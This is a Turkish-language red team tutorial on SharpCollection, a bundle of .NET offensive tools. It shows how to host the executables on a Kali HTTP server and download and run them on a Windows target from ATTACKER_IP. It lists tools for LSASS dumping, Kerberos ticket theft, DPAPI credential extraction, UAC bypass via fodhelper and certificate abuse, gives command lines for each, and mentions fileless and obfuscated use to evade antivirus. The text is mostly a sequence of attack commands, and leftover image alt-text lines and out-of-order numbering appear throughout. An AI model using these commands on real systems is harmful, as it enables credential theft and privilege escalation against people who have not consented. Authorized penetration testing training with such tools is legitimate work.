**🧠 1. SharpCollection Nedir?**

**SharpCollection**, birden fazla popüler .NET tabanlı Red Team aracını tek bir yerde toplayan bir **araç paketidir**.

📦 GitHub deposu:  
<https://github.com/Flangvik/SharpCollection>

Bu koleksiyon sayesinde aşağıdaki işlemler kolayca yapılabilir:

* Credential dumping
* Domain reconnaissance
* Pass-the-hash / ticket
* UAC bypass
* Post-exploitation

**⚙️ 3. Kurulum & Kullanım (Kali Linux üzerinden hedefe gönderme)**

**✅ 1. Depoyu klonla:**

git clone https://github.com/Flangvik/SharpCollection

**✅ 2. Payload’ları hedefe aktarmak için:**

cd SharpCollection/NetFramework

python3 -m http.server 80

Hedef Windows sistemde:

Invoke-WebRequest -Uri http://ATTACKER\_IP/Seatbelt.exe -OutFile Seatbelt.exe

.\Seatbelt.exe

Tüm araçlar taşınabilir EXE’ler şeklindedir.

metin, ekran görüntüsü, yazı tipi içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

**📦 2. İçerisindeki Öne Çıkan Araçlar**

| **Araç Adı** | **Görev** |
| --- | --- |
| SharpHound | Active Directory keşfi (BloodHound için) |
| Rubeus | Kerberos ticket işlemleri |
| Seatbelt | Sistem bilgisi toplama |
| SharpUp | Privilege escalation zafiyet analizi |
| SharpDPAPI | DPAPI üzerinden credential çıkarma |
| SharpDump | LSASS dump |
| SafetyKatz | Mimikatz uyarlaması (.NET) |
| Certify | Sertifika zafiyet analizi |
| SharpWMI | WMI ile uzaktan komut çalıştırma |
| SharpBypassUAC | UAC atlatma işlemleri |

Hepsi ayrı ayrı çalıştırılabilir. Birçoğu **fileless** veya **obfuscate edilmiş** şekilde kullanılabilir.

**🔧 4. Örnek Kullanım Komutları**

**🔍 Sistem bilgisi toplamak için Seatbelt:**

Seatbelt.exe -group=all

**🎫 Kerberos ticket dump (Rubeus):**

Rubeus.exe dump

**🔐 DPAPI credential extract (SharpDPAPI):**

SharpDPAPI.exe triage

**📎 Sertifika istismarı (Certify):**

cmd

Certify.exe find /vulnerable

**⚡ UAC bypass (SharpBypassUAC):**

SharpBypassUAC.exe /method fodhelper

**🧠 LSASS dump (SharpDump):**

SharpDump.exe

📷 5. Örnek Terminal Çıktısı

metin, ekran görüntüsü, yazı tipi içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

**🎯5**

**. Öğrenim Kazanımları**

* .NET tabanlı Red Team araçlarının kullanımına genel bakış
* Hedef sistemde bilgi toplama, şifre çıkarma, yetki yükseltme tekniklerini öğrenme
* AV atlatma ve post-exploitation mantığını kavrama
* Birden fazla aracın tek bir koleksiyonla nasıl yönetilebildiğini anlama